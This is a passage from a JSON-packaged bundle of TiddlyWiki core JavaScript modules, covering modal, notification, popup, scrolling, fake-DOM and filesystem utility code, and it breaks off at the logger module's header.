self.srcWindow.innerHeight + \"px)\"}\n\t\t]);\n\t\t// Set up an event for the transition end\n\t\tself.srcWindow.setTimeout(function() {\n\t\t\tif(wrapper.parentNode) {\n\t\t\t\t// Remove the modal message from the DOM\n\t\t\t\tself.srcDocument.body.removeChild(wrapper);\n\t\t\t}\n\t\t},duration);\n\t\t// Don't let anyone else handle the tm-close-tiddler message\n\t\treturn false;\n\t};\n\theaderWidgetNode.addEventListener(\"tm-close-tiddler\",closeHandler,false);\n\tbodyWidgetNode.addEventListener(\"tm-close-tiddler\",closeHandler,false);\n\tfooterWidgetNode.addEventListener(\"tm-close-tiddler\",closeHandler,false);\n\t// Set the initial styles for the message\n\t$tw.utils.setStyle(modalBackdrop,[\n\t\t{opacity: \"0\"}\n\t]);\n\t$tw.utils.setStyle(modalWrapper,[\n\t\t{transformOrigin: \"0% 0%\"},\n\t\t{transform: \"translateY(\" + (-this.srcWindow.innerHeight) + \"px)\"}\n\t]);\n\t// Put the message into the document\n\tthis.srcDocument.body.appendChild(wrapper);\n\t// Set up animation for the styles\n\t$tw.utils.setStyle(modalBackdrop,[\n\t\t{transition: \"opacity \" + duration + \"ms ease-out\"}\n\t]);\n\t$tw.utils.setStyle(modalWrapper,[\n\t\t{transition: $tw.utils.roundTripPropertyName(\"transform\") + \" \" + duration + \"ms ease-in-out\"}\n\t]);\n\t// Force layout\n\t$tw.utils.forceLayout(modalBackdrop);\n\t$tw.utils.forceLayout(modalWrapper);\n\t// Set final animated styles\n\t$tw.utils.setStyle(modalBackdrop,[\n\t\t{opacity: \"0.7\"}\n\t]);\n\t$tw.utils.setStyle(modalWrapper,[\n\t\t{transform: \"translateY(0px)\"}\n\t]);\n};\n\nModal.prototype.adjustPageClass = function() {\n\tvar windowContainer = $tw.pageContainer ? ($tw.pageContainer === this.srcDocument.body.firstChild ? $tw.pageContainer : this.srcDocument.body.firstChild) : null;\n\tif(windowContainer) {\n\t\t$tw.utils.toggleClass(windowContainer,\"tc-modal-displayed\",this.modalCount > 0);\n\t}\n};\n\nexports.Modal = Modal;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "utils"
        },
        "$:/core/modules/utils/dom/notifier.js": {
            "title": "$:/core/modules/utils/dom/notifier.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/dom/notifier.js\ntype: application/javascript\nmodule-type: utils\n\nNotifier mechanism\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar widget = require(\"$:/core/modules/widgets/widget.js\");\n\nvar Notifier = function(wiki) {\n\tthis.wiki = wiki;\n};\n\n/*\nDisplay a notification\n\ttitle: Title of tiddler containing the notification text\n\toptions: see below\nOptions include:\n*/\nNotifier.prototype.display = function(title,options) {\n\toptions = options || {};\n\t// Create the wrapper divs\n\tvar self = this,\n\t\tnotification = document.createElement(\"div\"),\n\t\ttiddler = this.wiki.getTiddler(title),\n\t\tduration = $tw.utils.getAnimationDuration(),\n\t\trefreshHandler;\n\t// Don't do anything if the tiddler doesn't exist\n\tif(!tiddler) {\n\t\treturn;\n\t}\n\t// Add classes\n\t$tw.utils.addClass(notification,\"tc-notification\");\n\t// Create the variables\n\tvar variables = $tw.utils.extend({currentTiddler: title},options.variables);\n\t// Render the body of the notification\n\tvar widgetNode = this.wiki.makeTranscludeWidget(title,{\n\t\tparentWidget: $tw.rootWidget,\n\t\tdocument: document,\n\t\tvariables: variables,\n\t\timportPageMacros: true});\n\twidgetNode.render(notification,null);\n\trefreshHandler = function(changes) {\n\t\twidgetNode.refresh(changes,notification,null);\n\t};\n\tthis.wiki.addEventListener(\"change\",refreshHandler);\n\t// Set the initial styles for the notification\n\t$tw.utils.setStyle(notification,[\n\t\t{opacity: \"0\"},\n\t\t{transformOrigin: \"0% 0%\"},\n\t\t{transform: \"translateY(\" + (-window.innerHeight) + \"px)\"},\n\t\t{transition: \"opacity \" + duration + \"ms ease-out, \" + $tw.utils.roundTripPropertyName(\"transform\") + \" \" + duration + \"ms ease-in-out\"}\n\t]);\n\t// Add the notification to the DOM\n\tdocument.body.appendChild(notification);\n\t// Force layout\n\t$tw.utils.forceLayout(notification);\n\t// Set final animated styles\n\t$tw.utils.setStyle(notification,[\n\t\t{opacity: \"1.0\"},\n\t\t{transform: \"translateY(0px)\"}\n\t]);\n\t// Set a timer to remove the notification\n\twindow.setTimeout(function() {\n\t\t// Remove our change event handler\n\t\tself.wiki.removeEventListener(\"change\",refreshHandler);\n\t\t// Force layout and animate the notification away\n\t\t$tw.utils.forceLayout(notification);\n\t\t$tw.utils.setStyle(notification,[\n\t\t\t{opacity: \"0.0\"},\n\t\t\t{transform: \"translateX(\" + (notification.offsetWidth) + \"px)\"}\n\t\t]);\n\t\t// Remove the modal message from the DOM once the transition ends\n\t\tsetTimeout(function() {\n\t\t\tif(notification.parentNode) {\n\t\t\t\tdocument.body.removeChild(notification);\n\t\t\t}\n\t\t},duration);\n\t},$tw.config.preferences.notificationDuration);\n};\n\nexports.Notifier = Notifier;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "utils"
        },
        "$:/core/modules/utils/dom/popup.js": {
            "title": "$:/core/modules/utils/dom/popup.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/dom/popup.js\ntype: application/javascript\nmodule-type: utils\n\nModule that creates a $tw.utils.Popup object prototype that manages popups in the browser\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nCreates a Popup object with these options:\n\trootElement: the DOM element to which the popup zapper should be attached\n*/\nvar Popup = function(options) {\n\toptions = options || {};\n\tthis.rootElement = options.rootElement || document.documentElement;\n\tthis.popups = []; // Array of {title:,wiki:,domNode:} objects\n};\n\n/*\nTrigger a popup open or closed. Parameters are in a hashmap:\n\ttitle: title of the tiddler where the popup details are stored\n\tdomNode: dom node to which the popup will be positioned (one of domNode or domNodeRect is required)\n\tdomNodeRect: rectangle to which the popup will be positioned\n\twiki: wiki\n\tforce: if specified, forces the popup state to true or false (instead of toggling it)\n\tfloating: if true, skips registering the popup, meaning that it will need manually clearing\n*/\nPopup.prototype.triggerPopup = function(options) {\n\t// Check if this popup is already active\n\tvar index = this.findPopup(options.title);\n\t// Compute the new state\n\tvar state = index === -1;\n\tif(options.force !== undefined) {\n\t\tstate = options.force;\n\t}\n\t// Show or cancel the popup according to the new state\n\tif(state) {\n\t\tthis.show(options);\n\t} else {\n\t\tthis.cancel(index);\n\t}\n};\n\nPopup.prototype.findPopup = function(title) {\n\tvar index = -1;\n\tfor(var t=0; t<this.popups.length; t++) {\n\t\tif(this.popups[t].title === title) {\n\t\t\tindex = t;\n\t\t}\n\t}\n\treturn index;\n};\n\nPopup.prototype.handleEvent = function(event) {\n\tif(event.type === \"click\") {\n\t\t// Find out what was clicked on\n\t\tvar info = this.popupInfo(event.target),\n\t\t\tcancelLevel = info.popupLevel - 1;\n\t\t// Don't remove the level that was clicked on if we clicked on a handle\n\t\tif(info.isHandle) {\n\t\t\tcancelLevel++;\n\t\t}\n\t\t// Cancel\n\t\tthis.cancel(cancelLevel);\n\t}\n};\n\n/*\nFind the popup level containing a DOM node. Returns:\npopupLevel: count of the number of nested popups containing the specified element\nisHandle: true if the specified element is within a popup handle\n*/\nPopup.prototype.popupInfo = function(domNode) {\n\tvar isHandle = false,\n\t\tpopupCount = 0,\n\t\tnode = domNode;\n\t// First check ancestors to see if we're within a popup handle\n\twhile(node) {\n\t\tif($tw.utils.hasClass(node,\"tc-popup-handle\")) {\n\t\t\tisHandle = true;\n\t\t\tpopupCount++;\n\t\t}\n\t\tif($tw.utils.hasClass(node,\"tc-popup-keep\")) {\n\t\t\tisHandle = true;\n\t\t}\n\t\tnode = node.parentNode;\n\t}\n\t// Then count the number of ancestor popups\n\tnode = domNode;\n\twhile(node) {\n\t\tif($tw.utils.hasClass(node,\"tc-popup\")) {\n\t\t\tpopupCount++;\n\t\t}\n\t\tnode = node.parentNode;\n\t}\n\tvar info = {\n\t\tpopupLevel: popupCount,\n\t\tisHandle: isHandle\n\t};\n\treturn info;\n};\n\n/*\nDisplay a popup by adding it to the stack\n*/\nPopup.prototype.show = function(options) {\n\t// Find out what was clicked on\n\tvar info = this.popupInfo(options.domNode);\n\t// Cancel any higher level popups\n\tthis.cancel(info.popupLevel);\n\n\t// Store the popup details if not already there\n\tif(!options.floating && this.findPopup(options.title) === -1) {\n\t\tthis.popups.push({\n\t\t\ttitle: options.title,\n\t\t\twiki: options.wiki,\n\t\t\tdomNode: options.domNode\n\t\t});\n\t}\n\t// Set the state tiddler\n\tvar rect;\n\tif(options.domNodeRect) {\n\t\trect = options.domNodeRect;\n\t} else {\n\t\trect = {\n\t\t\tleft: options.domNode.offsetLeft,\n\t\t\ttop: options.domNode.offsetTop,\n\t\t\twidth: options.domNode.offsetWidth,\n\t\t\theight: options.domNode.offsetHeight\n\t\t};\n\t}\n\tvar popupRect = \"(\" + rect.left + \",\" + rect.top + \",\" + \n\t\t\t\trect.width + \",\" + rect.height + \")\";\n\tif(options.noStateReference) {\n\t\toptions.wiki.setText(options.title,\"text\",undefined,popupRect);\n\t} else {\n\t\toptions.wiki.setTextReference(options.title,popupRect);\n\t}\n\t// Add the click handler if we have any popups\n\tif(this.popups.length > 0) {\n\t\tthis.rootElement.addEventListener(\"click\",this,true);\t\t\n\t}\n};\n\n/*\nCancel all popups at or above a specified level or DOM node\nlevel: popup level to cancel (0 cancels all popups)\n*/\nPopup.prototype.cancel = function(level) {\n\tvar numPopups = this.popups.length;\n\tlevel = Math.max(0,Math.min(level,numPopups));\n\tfor(var t=level; t<numPopups; t++) {\n\t\tvar popup = this.popups.pop();\n\t\tif(popup.title) {\n\t\t\tpopup.wiki.deleteTiddler(popup.title);\n\t\t}\n\t}\n\tif(this.popups.length === 0) {\n\t\tthis.rootElement.removeEventListener(\"click\",this,false);\n\t}\n};\n\n/*\nReturns true if the specified title and text identifies an active popup\n*/\nPopup.prototype.readPopupState = function(text) {\n\tvar popupLocationRegExp = /^\\((-?[0-9\\.E]+),(-?[0-9\\.E]+),(-?[0-9\\.E]+),(-?[0-9\\.E]+)\\)$/;\n\treturn popupLocationRegExp.test(text);\n};\n\nexports.Popup = Popup;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "utils"
        },
        "$:/core/modules/utils/dom/scroller.js": {
            "title": "$:/core/modules/utils/dom/scroller.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/dom/scroller.js\ntype: application/javascript\nmodule-type: utils\n\nModule that creates a $tw.utils.Scroller object prototype that manages scrolling in the browser\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nEvent handler for when the `tm-scroll` event hits the document body\n*/\nvar PageScroller = function() {\n\tthis.idRequestFrame = null;\n\tthis.requestAnimationFrame = window.requestAnimationFrame ||\n\t\twindow.webkitRequestAnimationFrame ||\n\t\twindow.mozRequestAnimationFrame ||\n\t\tfunction(callback) {\n\t\t\treturn window.setTimeout(callback, 1000/60);\n\t\t};\n\tthis.cancelAnimationFrame = window.cancelAnimationFrame ||\n\t\twindow.webkitCancelAnimationFrame ||\n\t\twindow.webkitCancelRequestAnimationFrame ||\n\t\twindow.mozCancelAnimationFrame ||\n\t\twindow.mozCancelRequestAnimationFrame ||\n\t\tfunction(id) {\n\t\t\twindow.clearTimeout(id);\n\t\t};\n};\n\nPageScroller.prototype.cancelScroll = function(srcWindow) {\n\tif(this.idRequestFrame) {\n\t\tthis.cancelAnimationFrame.call(srcWindow,this.idRequestFrame);\n\t\tthis.idRequestFrame = null;\n\t}\n};\n\n/*\nHandle an event\n*/\nPageScroller.prototype.handleEvent = function(event) {\n\tif(event.type === \"tm-scroll\") {\n\t\treturn this.scrollIntoView(event.target);\n\t}\n\treturn true;\n};\n\n/*\nHandle a scroll event hitting the page document\n*/\nPageScroller.prototype.scrollIntoView = function(element,callback) {\n\tvar self = this,\n\t\tduration = $tw.utils.getAnimationDuration(),\n\t    srcWindow = element ? element.ownerDocument.defaultView : window;\n\t// Now get ready to scroll the body\n\tthis.cancelScroll(srcWindow);\n\tthis.startTime = Date.now();\n\t// Get the height of any position:fixed toolbars\n\tvar toolbar = srcWindow.document.querySelector(\".tc-adjust-top-of-scroll\"),\n\t\toffset = 0;\n\tif(toolbar) {\n\t\toffset = toolbar.offsetHeight;\n\t}\n\t// Get the client bounds of the element and adjust by the scroll position\n\tvar getBounds = function() {\n\t\t\tvar clientBounds = typeof callback === 'function' ? callback() : element.getBoundingClientRect(),\n\t\t\t\tscrollPosition = $tw.utils.getScrollPosition(srcWindow);\n\t\t\treturn {\n\t\t\t\tleft: clientBounds.left + scrollPosition.x,\n\t\t\t\ttop: clientBounds.top + scrollPosition.y - offset,\n\t\t\t\twidth: clientBounds.width,\n\t\t\t\theight: clientBounds.height\n\t\t\t};\n\t\t},\n\t\t// We'll consider the horizontal and vertical scroll directions separately via this function\n\t\t// targetPos/targetSize - position and size of the target element\n\t\t// currentPos/currentSize - position and size of the current scroll viewport\n\t\t// returns: new position of the scroll viewport\n\t\tgetEndPos = function(targetPos,targetSize,currentPos,currentSize) {\n\t\t\tvar newPos = targetPos;\n\t\t\t// If we are scrolling within 50 pixels of the top/left then snap to zero\n\t\t\tif(newPos < 50) {\n\t\t\t\tnewPos = 0;\n\t\t\t}\n\t\t\treturn newPos;\n\t\t},\n\t\tdrawFrame = function drawFrame() {\n\t\t\tvar t;\n\t\t\tif(duration <= 0) {\n\t\t\t\tt = 1;\n\t\t\t} else {\n\t\t\t\tt = ((Date.now()) - self.startTime) / duration;\t\n\t\t\t}\n\t\t\tif(t >= 1) {\n\t\t\t\tself.cancelScroll(srcWindow);\n\t\t\t\tt = 1;\n\t\t\t}\n\t\t\tt = $tw.utils.slowInSlowOut(t);\n\t\t\tvar scrollPosition = $tw.utils.getScrollPosition(srcWindow),\n\t\t\t\tbounds = getBounds(),\n\t\t\t\tendX = getEndPos(bounds.left,bounds.width,scrollPosition.x,srcWindow.innerWidth),\n\t\t\t\tendY = getEndPos(bounds.top,bounds.height,scrollPosition.y,srcWindow.innerHeight);\n\t\t\tsrcWindow.scrollTo(scrollPosition.x + (endX - scrollPosition.x) * t,scrollPosition.y + (endY - scrollPosition.y) * t);\n\t\t\tif(t < 1) {\n\t\t\t\tself.idRequestFrame = self.requestAnimationFrame.call(srcWindow,drawFrame);\n\t\t\t}\n\t\t};\n\tdrawFrame();\n};\n\nexports.PageScroller = PageScroller;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "utils"
        },
        "$:/core/modules/utils/edition-info.js": {
            "title": "$:/core/modules/utils/edition-info.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/edition-info.js\ntype: application/javascript\nmodule-type: utils-node\n\nInformation about the available editions\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar fs = require(\"fs\"),\n\tpath = require(\"path\");\n\nvar editionInfo;\n\nexports.getEditionInfo = function() {\n\tif(!editionInfo) {\n\t\t// Enumerate the edition paths\n\t\tvar editionPaths = $tw.getLibraryItemSearchPaths($tw.config.editionsPath,$tw.config.editionsEnvVar);\n\t\teditionInfo = {};\n\t\tfor(var editionIndex=0; editionIndex<editionPaths.length; editionIndex++) {\n\t\t\tvar editionPath = editionPaths[editionIndex];\n\t\t\t// Enumerate the folders\n\t\t\tvar entries = fs.readdirSync(editionPath);\n\t\t\tfor(var entryIndex=0; entryIndex<entries.length; entryIndex++) {\n\t\t\t\tvar entry = entries[entryIndex];\n\t\t\t\t// Check if directories have a valid tiddlywiki.info\n\t\t\t\tif(!editionInfo[entry] && $tw.utils.isDirectory(path.resolve(editionPath,entry))) {\n\t\t\t\t\tvar info;\n\t\t\t\t\ttry {\n\t\t\t\t\t\tinfo = JSON.parse(fs.readFileSync(path.resolve(editionPath,entry,\"tiddlywiki.info\"),\"utf8\"));\n\t\t\t\t\t} catch(ex) {\n\t\t\t\t\t}\n\t\t\t\t\tif(info) {\n\t\t\t\t\t\teditionInfo[entry] = info;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn editionInfo;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "utils-node"
        },
        "$:/core/modules/utils/fakedom.js": {
            "title": "$:/core/modules/utils/fakedom.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/fakedom.js\ntype: application/javascript\nmodule-type: global\n\nA barebones implementation of DOM interfaces needed by the rendering mechanism.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Sequence number used to enable us to track objects for testing\nvar sequenceNumber = null;\n\nvar bumpSequenceNumber = function(object) {\n\tif(sequenceNumber !== null) {\n\t\tobject.sequenceNumber = sequenceNumber++;\n\t}\n};\n\nvar TW_TextNode = function(text) {\n\tbumpSequenceNumber(this);\n\tthis.textContent = text + \"\";\n};\n\nObject.defineProperty(TW_TextNode.prototype, \"nodeType\", {\n\tget: function() {\n\t\treturn 3;\n\t}\n});\n\nObject.defineProperty(TW_TextNode.prototype, \"formattedTextContent\", {\n\tget: function() {\n\t\treturn this.textContent.replace(/(\\r?\\n)/g,\"\");\n\t}\n});\n\nvar TW_Element = function(tag,namespace) {\n\tbumpSequenceNumber(this);\n\tthis.isTiddlyWikiFakeDom = true;\n\tthis.tag = tag;\n\tthis.attributes = {};\n\tthis.isRaw = false;\n\tthis.children = [];\n\tthis.style = {};\n\tthis.namespaceURI = namespace || \"http://www.w3.org/1999/xhtml\";\n};\n\nObject.defineProperty(TW_Element.prototype, \"nodeType\", {\n\tget: function() {\n\t\treturn 1;\n\t}\n});\n\nTW_Element.prototype.getAttribute = function(name) {\n\tif(this.isRaw) {\n\t\tthrow \"Cannot getAttribute on a raw TW_Element\";\n\t}\n\treturn this.attributes[name];\n};\n\nTW_Element.prototype.setAttribute = function(name,value) {\n\tif(this.isRaw) {\n\t\tthrow \"Cannot setAttribute on a raw TW_Element\";\n\t}\n\tthis.attributes[name] = value + \"\";\n};\n\nTW_Element.prototype.setAttributeNS = function(namespace,name,value) {\n\tthis.setAttribute(name,value);\n};\n\nTW_Element.prototype.removeAttribute = function(name) {\n\tif(this.isRaw) {\n\t\tthrow \"Cannot removeAttribute on a raw TW_Element\";\n\t}\n\tif($tw.utils.hop(this.attributes,name)) {\n\t\tdelete this.attributes[name];\n\t}\n};\n\nTW_Element.prototype.appendChild = function(node) {\n\tthis.children.push(node);\n\tnode.parentNode = this;\n};\n\nTW_Element.prototype.insertBefore = function(node,nextSibling) {\n\tif(nextSibling) {\n\t\tvar p = this.children.indexOf(nextSibling);\n\t\tif(p !== -1) {\n\t\t\tthis.children.splice(p,0,node);\n\t\t\tnode.parentNode = this;\n\t\t} else {\n\t\t\tthis.appendChild(node);\n\t\t}\n\t} else {\n\t\tthis.appendChild(node);\n\t}\n};\n\nTW_Element.prototype.removeChild = function(node) {\n\tvar p = this.children.indexOf(node);\n\tif(p !== -1) {\n\t\tthis.children.splice(p,1);\n\t}\n};\n\nTW_Element.prototype.hasChildNodes = function() {\n\treturn !!this.children.length;\n};\n\nObject.defineProperty(TW_Element.prototype, \"childNodes\", {\n\tget: function() {\n\t\treturn this.children;\n\t}\n});\n\nObject.defineProperty(TW_Element.prototype, \"firstChild\", {\n\tget: function() {\n\t\treturn this.children[0];\n\t}\n});\n\nTW_Element.prototype.addEventListener = function(type,listener,useCapture) {\n\t// Do nothing\n};\n\nObject.defineProperty(TW_Element.prototype, \"tagName\", {\n\tget: function() {\n\t\treturn this.tag || \"\";\n\t}\n});\n\nObject.defineProperty(TW_Element.prototype, \"className\", {\n\tget: function() {\n\t\treturn this.attributes[\"class\"] || \"\";\n\t},\n\tset: function(value) {\n\t\tthis.attributes[\"class\"] = value + \"\";\n\t}\n});\n\nObject.defineProperty(TW_Element.prototype, \"value\", {\n\tget: function() {\n\t\treturn this.attributes.value || \"\";\n\t},\n\tset: function(value) {\n\t\tthis.attributes.value = value + \"\";\n\t}\n});\n\nObject.defineProperty(TW_Element.prototype, \"outerHTML\", {\n\tget: function() {\n\t\tvar output = [],attr,a,v;\n\t\toutput.push(\"<\",this.tag);\n\t\tif(this.attributes) {\n\t\t\tattr = [];\n\t\t\tfor(a in this.attributes) {\n\t\t\t\tattr.push(a);\n\t\t\t}\n\t\t\tattr.sort();\n\t\t\tfor(a=0; a<attr.length; a++) {\n\t\t\t\tv = this.attributes[attr[a]];\n\t\t\t\tif(v !== undefined) {\n\t\t\t\t\toutput.push(\" \",attr[a],\"=\\\"\",$tw.utils.htmlEncode(v),\"\\\"\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif(this.style) {\n\t\t\tvar style = [];\n\t\t\tfor(var s in this.style) {\n\t\t\t\tstyle.push(s + \":\" + this.style[s] + \";\");\n\t\t\t}\n\t\t\tif(style.length > 0) {\n\t\t\t\toutput.push(\" style=\\\"\",style.join(\"\"),\"\\\"\")\n\t\t\t}\n\t\t}\n\t\toutput.push(\">\");\n\t\tif($tw.config.htmlVoidElements.indexOf(this.tag) === -1) {\n\t\t\toutput.push(this.innerHTML);\n\t\t\toutput.push(\"</\",this.tag,\">\");\n\t\t}\n\t\treturn output.join(\"\");\n\t}\n});\n\nObject.defineProperty(TW_Element.prototype, \"innerHTML\", {\n\tget: function() {\n\t\tif(this.isRaw) {\n\t\t\treturn this.rawHTML;\n\t\t} else {\n\t\t\tvar b = [];\n\t\t\t$tw.utils.each(this.children,function(node) {\n\t\t\t\tif(node instanceof TW_Element) {\n\t\t\t\t\tb.push(node.outerHTML);\n\t\t\t\t} else if(node instanceof TW_TextNode) {\n\t\t\t\t\tb.push($tw.utils.htmlEncode(node.textContent));\n\t\t\t\t}\n\t\t\t});\n\t\t\treturn b.join(\"\");\n\t\t}\n\t},\n\tset: function(value) {\n\t\tthis.isRaw = true;\n\t\tthis.rawHTML = value;\n\t\tthis.rawTextContent = null;\n\t}\n});\n\nObject.defineProperty(TW_Element.prototype, \"textInnerHTML\", {\n\tset: function(value) {\n\t\tif(this.isRaw) {\n\t\t\tthis.rawTextContent = value;\n\t\t} else {\n\t\t\tthrow \"Cannot set textInnerHTML of a non-raw TW_Element\";\n\t\t}\n\t}\n});\n\nObject.defineProperty(TW_Element.prototype, \"textContent\", {\n\tget: function() {\n\t\tif(this.isRaw) {\n\t\t\tif(this.rawTextContent === null) {\n\t\t\t\treturn \"\";\n\t\t\t} else {\n\t\t\t\treturn this.rawTextContent;\n\t\t\t}\n\t\t} else {\n\t\t\tvar b = [];\n\t\t\t$tw.utils.each(this.children,function(node) {\n\t\t\t\tb.push(node.textContent);\n\t\t\t});\n\t\t\treturn b.join(\"\");\n\t\t}\n\t},\n\tset: function(value) {\n\t\tthis.children = [new TW_TextNode(value)];\n\t}\n});\n\nObject.defineProperty(TW_Element.prototype, \"formattedTextContent\", {\n\tget: function() {\n\t\tif(this.isRaw) {\n\t\t\treturn \"\";\n\t\t} else {\n\t\t\tvar b = [],\n\t\t\t\tisBlock = $tw.config.htmlBlockElements.indexOf(this.tag) !== -1;\n\t\t\tif(isBlock) {\n\t\t\t\tb.push(\"\\n\");\n\t\t\t}\n\t\t\tif(this.tag === \"li\") {\n\t\t\t\tb.push(\"* \");\n\t\t\t}\n\t\t\t$tw.utils.each(this.children,function(node) {\n\t\t\t\tb.push(node.formattedTextContent);\n\t\t\t});\n\t\t\tif(isBlock) {\n\t\t\t\tb.push(\"\\n\");\n\t\t\t}\n\t\t\treturn b.join(\"\");\n\t\t}\n\t}\n});\n\nvar document = {\n\tsetSequenceNumber: function(value) {\n\t\tsequenceNumber = value;\n\t},\n\tcreateElementNS: function(namespace,tag) {\n\t\treturn new TW_Element(tag,namespace);\n\t},\n\tcreateElement: function(tag) {\n\t\treturn new TW_Element(tag);\n\t},\n\tcreateTextNode: function(text) {\n\t\treturn new TW_TextNode(text);\n\t},\n\tcompatMode: \"CSS1Compat\", // For KaTeX to know that we're not a browser in quirks mode\n\tisTiddlyWikiFakeDom: true\n};\n\nexports.fakeDocument = document;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "global"
        },
        "$:/core/modules/utils/filesystem.js": {
            "title": "$:/core/modules/utils/filesystem.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/filesystem.js\ntype: application/javascript\nmodule-type: utils-node\n\nFile system utilities\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar fs = require(\"fs\"),\n\tpath = require(\"path\");\n\n/*\nRecursively (and synchronously) copy a directory and all its content\n*/\nexports.copyDirectory = function(srcPath,dstPath) {\n\t// Remove any trailing path separators\n\tsrcPath = $tw.utils.removeTrailingSeparator(srcPath);\n\tdstPath = $tw.utils.removeTrailingSeparator(dstPath);\n\t// Create the destination directory\n\tvar err = $tw.utils.createDirectory(dstPath);\n\tif(err) {\n\t\treturn err;\n\t}\n\t// Function to copy a folder full of files\n\tvar copy = function(srcPath,dstPath) {\n\t\tvar srcStats = fs.lstatSync(srcPath),\n\t\t\tdstExists = fs.existsSync(dstPath);\n\t\tif(srcStats.isFile()) {\n\t\t\t$tw.utils.copyFile(srcPath,dstPath);\n\t\t} else if(srcStats.isDirectory()) {\n\t\t\tvar items = fs.readdirSync(srcPath);\n\t\t\tfor(var t=0; t<items.length; t++) {\n\t\t\t\tvar item = items[t],\n\t\t\t\t\terr = copy(srcPath + path.sep + item,dstPath + path.sep + item);\n\t\t\t\tif(err) {\n\t\t\t\t\treturn err;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t};\n\tcopy(srcPath,dstPath);\n\treturn null;\n};\n\n/*\nCopy a file\n*/\nvar FILE_BUFFER_LENGTH = 64 * 1024,\n\tfileBuffer;\n\nexports.copyFile = function(srcPath,dstPath) {\n\t// Create buffer if required\n\tif(!fileBuffer) {\n\t\tfileBuffer = Buffer.alloc(FILE_BUFFER_LENGTH);\n\t}\n\t// Create any directories in the destination\n\t$tw.utils.createDirectory(path.dirname(dstPath));\n\t// Copy the file\n\tvar srcFile = fs.openSync(srcPath,\"r\"),\n\t\tdstFile = fs.openSync(dstPath,\"w\"),\n\t\tbytesRead = 1,\n\t\tpos = 0;\n\twhile (bytesRead > 0) {\n\t\tbytesRead = fs.readSync(srcFile,fileBuffer,0,FILE_BUFFER_LENGTH,pos);\n\t\tfs.writeSync(dstFile,fileBuffer,0,bytesRead);\n\t\tpos += bytesRead;\n\t}\n\tfs.closeSync(srcFile);\n\tfs.closeSync(dstFile);\n\treturn null;\n};\n\n/*\nRemove trailing path separator\n*/\nexports.removeTrailingSeparator = function(dirPath) {\n\tvar len = dirPath.length;\n\tif(dirPath.charAt(len-1) === path.sep) {\n\t\tdirPath = dirPath.substr(0,len-1);\n\t}\n\treturn dirPath;\n};\n\n/*\nRecursively create a directory\n*/\nexports.createDirectory = function(dirPath) {\n\tif(dirPath.substr(dirPath.length-1,1) !== path.sep) {\n\t\tdirPath = dirPath + path.sep;\n\t}\n\tvar pos = 1;\n\tpos = dirPath.indexOf(path.sep,pos);\n\twhile(pos !== -1) {\n\t\tvar subDirPath = dirPath.substr(0,pos);\n\t\tif(!$tw.utils.isDirectory(subDirPath)) {\n\t\t\ttry {\n\t\t\t\tfs.mkdirSync(subDirPath);\n\t\t\t} catch(e) {\n\t\t\t\treturn \"Error creating directory '\" + subDirPath + \"'\";\n\t\t\t}\n\t\t}\n\t\tpos = dirPath.indexOf(path.sep,pos + 1);\n\t}\n\treturn null;\n};\n\n/*\nRecursively create directories needed to contain a specified file\n*/\nexports.createFileDirectories = function(filePath) {\n\treturn $tw.utils.createDirectory(path.dirname(filePath));\n};\n\n/*\nRecursively delete a directory\n*/\nexports.deleteDirectory = function(dirPath) {\n\tif(fs.existsSync(dirPath)) {\n\t\tvar entries = fs.readdirSync(dirPath);\n\t\tfor(var entryIndex=0; entryIndex<entries.length; entryIndex++) {\n\t\t\tvar currPath = dirPath + path.sep + entries[entryIndex];\n\t\t\tif(fs.lstatSync(currPath).isDirectory()) {\n\t\t\t\t$tw.utils.deleteDirectory(currPath);\n\t\t\t} else {\n\t\t\t\tfs.unlinkSync(currPath);\n\t\t\t}\n\t\t}\n\tfs.rmdirSync(dirPath);\n\t}\n\treturn null;\n};\n\n/*\nCheck if a path identifies a directory\n*/\nexports.isDirectory = function(dirPath) {\n\treturn fs.existsSync(dirPath) && fs.statSync(dirPath).isDirectory();\n};\n\n/*\nCheck if a path identifies a directory that is empty\n*/\nexports.isDirectoryEmpty = function(dirPath) {\n\tif(!$tw.utils.isDirectory(dirPath)) {\n\t\treturn false;\n\t}\n\tvar files = fs.readdirSync(dirPath),\n\t\tempty = true;\n\t$tw.utils.each(files,function(file,index) {\n\t\tif(file.charAt(0) !== \".\") {\n\t\t\tempty = false;\n\t\t}\n\t});\n\treturn empty;\n};\n\n/*\nRecursively delete a tree of empty directories\n*/\nexports.deleteEmptyDirs = function(dirpath,callback) {\n\tvar self = this;\n\tfs.readdir(dirpath,function(err,files) {\n\t\tif(err) {\n\t\t\treturn callback(err);\n\t\t}\n\t\tif(files.length > 0) {\n\t\t\treturn callback(null);\n\t\t}\n\t\tfs.rmdir(dirpath,function(err) {\n\t\t\tif(err) {\n\t\t\t\treturn callback(err);\n\t\t\t}\n\t\t\tself.deleteEmptyDirs(path.dirname(dirpath),callback);\n\t\t});\n\t});\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "utils-node"
        },
        "$:/core/modules/utils/logger.js": {
            "title": "$:/core/modules/utils/logger.js",
